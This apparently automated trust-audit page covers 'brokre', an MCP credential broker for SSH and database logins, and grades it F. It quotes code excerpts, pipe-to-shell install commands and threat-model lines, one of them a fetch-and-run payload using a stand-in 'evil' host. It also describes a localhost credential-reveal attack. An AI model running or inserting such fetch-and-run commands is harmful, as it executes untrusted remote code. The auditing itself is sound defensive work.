brokreBLOCK
AI-safe credential broker for MCP — run saved SSH/MySQL/psql aliases; passwords never reach AI.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
English | 简体中文
brokre is a local credential broker for AI agents and humans. Use it with Cursor, Claude Code, Kimi Code, Trae, OpenClaw, Hermes Agent, ChatClaw, and other MCP-capable clients to run ssh, mysql, psql, and more — passwords never enter AI context, environment variables, or `ps` output. It wraps any CLI on your `PATH` — not only SSH or MySQL — and injects saved passwords at the prompt without exposing plaintext to the AI process, shell history, or process environment.
Developed by Techinone (成都同创合一科技有限公司).
What's New in 0.2.17
0.2.17 is the current release: SessionRelay routed SSH by default, multi-hop bastion routes, local-only list by default, and the existing one-command npm install / auto MCP registration / auto binary upgrade flow.
npm — install, auto-update, auto MCP setup
npm install -g brokre # or: npx -y brokre@latest
Recomme
907692b4eec0OBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add brokre -- npx -y [email protected]
Trust audit
BLOCKgrade F · trust 55/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (10 observation(s))
- Network
- declared (5 observation(s))
- Shell
- declared (5 observation(s))
- Dependencies
- pinned
- Secrets in source
- found
Findings (20)
"-----BEGIN OPENSSH PRIVATE KEY-----\nabc\n-----END OPENSSH PRIVATE KEY-----"
"-----BEGIN OPENSSH PRIVATE KEY-----\\nabc\\n-----END OPENSSH PRIVATE KEY-----\\n";
let pem = "-----BEGIN OPENSSH PRIVATE KEY-----\nabc\n-----END OPENSSH PRIVATE KEY-----";
eprintln!("brokre: fatal: refusing to run under ptrace (TracerPid)");if libc::ptrace(libc::PT_DENY_ATTACH, 0, std::ptr::null_mut(), 0) == 0 {"ptrace(PT_DENY_ATTACH): {}",const script = path.join(PKG_DIR, '../../install.sh');
On first connect with an **empty vault**, brokre opens **manage** in your browser (`http://127.0.0.1:56777/?t=...`). Session tokens stay on localhost — never returned to the AI. Set `BROKRE_MCP_NO_AUT
首次连接且**保险库为空**时,brokre 会在浏览器打开 **manage**(`http://127.0.0.1:56777/?t=...`)。会话 token 留在本机 — 不返回给 AI。设置 `BROKRE_MCP_NO_AUTO_OPEN=1` 可禁用自动打开。
- **Attack**: Malicious site or AI agent calls `http://127.0.0.1:<port>/reveal` or CSRF-writes credentials.
**Empty vault:** Each MCP connect while the vault has no credentials starts `brokre manage` in the background and opens `http://127.0.0.1:56777/?t=...` (or the next free port) in your default browser.
When the vault is empty, `brokre mcp` automatically opens **brokre manage** in your browser (e.g. `http://127.0.0.1:56777/?t=...`) so you can add accounts. Session tokens are **never** returned to the
- **Mitigation**: No reveal/export endpoint; passwords never appear in HTTP responses. Server binds loopback only. Write APIs require `Authorization: Bearer <session_token>`. Delete/rotate require rev
brokre manage --open # add credentials in browser
| **install.sh / Homebrew** | Production; no Node for daily use | `curl ... \| bash` or `brew install brokre` | Run `brokre mcp setup` after IDE install | `brokre version` / `brokre upgrade` |
curl -fsSL https://raw.githubusercontent.com/Furowu/brokre/main/install.sh | bash
| **install.sh / Homebrew** | 生产环境;日常不用 Node | `curl ... \| bash` 或 `brew install brokre` | 装 IDE 后执行 `brokre mcp setup` | `brokre version` / `brokre upgrade` |
curl -fsSL https://raw.githubusercontent.com/Furowu/brokre/main/install.sh | bash
- **Attack**: User loads a profile with `binary = "/bin/sh -c 'curl evil | sh'"`.
Gates applied: critical_finding, no_behavioural_pass.
907692b4eec0full audit observations/trust-audit/mcp-server/furowu__brokre.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 907692b4eec0 | BLOCK | F | 55 | first audit |
Questions
What is the brokre MCP server?
AI-safe credential broker for MCP — run saved SSH/MySQL/psql aliases; passwords never reach AI.
Is brokre safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (55/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does brokre need?
No credential environment variables were found in its source, so it appears to need none.
How does brokre run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as brokre at 0.2.36.
How current is this page?
The grade is for one exact copy of the source (907692b4eec0), read on 2026-10-12. The repository is watched and re-audited when it changes.